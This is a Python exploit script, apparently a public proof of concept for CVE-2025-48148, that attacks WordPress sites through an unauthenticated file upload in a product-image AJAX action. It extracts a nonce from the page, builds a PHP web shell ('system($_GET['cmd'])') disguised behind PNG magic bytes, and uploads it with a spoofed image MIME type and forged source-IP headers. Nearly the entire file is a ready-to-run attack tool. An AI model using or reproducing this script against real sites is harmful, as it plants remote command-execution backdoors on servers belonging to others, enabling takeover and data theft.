# -*- coding: utf-8 -*-
# By: Nxploited (Khaled Alenazi)

import sys
import argparse
import logging
import requests
import re
import os

_logger = logging.getLogger("NxploitedShellUploader")
_handler = logging.StreamHandler()
_formatter = logging.Formatter("%(asctime)s [%(levelname)s] %(message)s", "%Y-%m-%d %H:%M:%S")
_handler.setFormatter(_formatter)
_logger.addHandler(_handler)
_logger.setLevel(logging.INFO)

def get_nonce(site_url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Accept": "*/*",
        "Connection": "close",
        "Referer": site_url,
        "X-Forwarded-For": "127.0.0.1",
        "X-Originating-IP": "127.0.0.1",
        "X-Remote-IP": "127.0.0.1",
        "X-Remote-Addr": "127.0.0.1"
    }
    try:
        _logger.info("Requesting site for nonce extraction...")
        resp = requests.get(site_url, headers=headers, timeout=10, allow_redirects=True, verify=False)
    except Exception as e:
        _logger.error(f"Error fetching URL: {e}")
        sys.exit(1)
    m = re.search(r'"nonce":"([a-f0-9]+)"', resp.text)
    if m:
        nonce_val = m.group(1)
        _logger.info(f"Nonce extracted: {nonce_val}")
        return nonce_val
    _logger.error("Nonce not found!")
    sys.exit(1)

def write_shell(filename="shell.php"):
    shell_content = b"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system($_GET['cmd']); ?>"
    with open(filename, "wb") as f:
        f.write(shell_content)
    _logger.info(f"Shell file created: {filename}")

def upload_shell(site_url, nonce, shell_path):
    base = site_url.rstrip('/').split('/wp-admin/')[0]
    ajax_url = f"{base}/wp-admin/admin-ajax.php"
    files = {
        'file': ('shell.php', open(shell_path, 'rb'), 'image/png')
    }
    data = {
        'action': 'upload_product_image',
        'nonce': nonce
    }
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0",
        "Referer": site_url,
        "X-Requested-With": "XMLHttpRequest",
        "Accept": "*/*",
        "Connection": "close",
        "X-Forwarded-For": "127.0.0.1",
        "X-Originating-IP": "127.0.0.1",
        "X-Remote-IP": "127.0.0.1",
        "X-Remote-Addr": "127.0.0.1",
        "Pragma": "no-cache",
        "Cache-Control": "no-cache"
    }
    try:
        _logger.info(f"Uploading shell to {ajax_url} ...")
        resp = requests.post(ajax_url, files=files, data=data, headers=headers, timeout=15, allow_redirects=True, verify=False)
    except Exception as e:
        _logger.error(f"Upload failed: {e}")
        sys.exit(1)
    _logger.info("Upload response:")
    print(resp.text)

def NxploitedShellUploader():
    parser = argparse.ArgumentParser(description="Nxploited — Exploit For CVE-2025-48148 ")
    parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL (e.g., http://site.com/)")
    parser.add_argument("--debug", action="store_true", help="Enable debug logging")
    args = parser.parse_args()

    if args.debug:
        _logger.setLevel(logging.DEBUG)
        _logger.debug("Debug logging enabled")

    try:
        nonce = get_nonce(args.url)
        write_shell("shell.php")
        upload_shell(args.url, nonce, "shell.php")
        _logger.info("Operation completed.")
    except Exception as e:
        _logger.error(f"Operation failed: {e}")
        sys.exit(1)

if __name__ == "__main__":
    try:
        requests.packages.urllib3.disable_warnings()
    except:
        pass
    NxploitedShellUploader()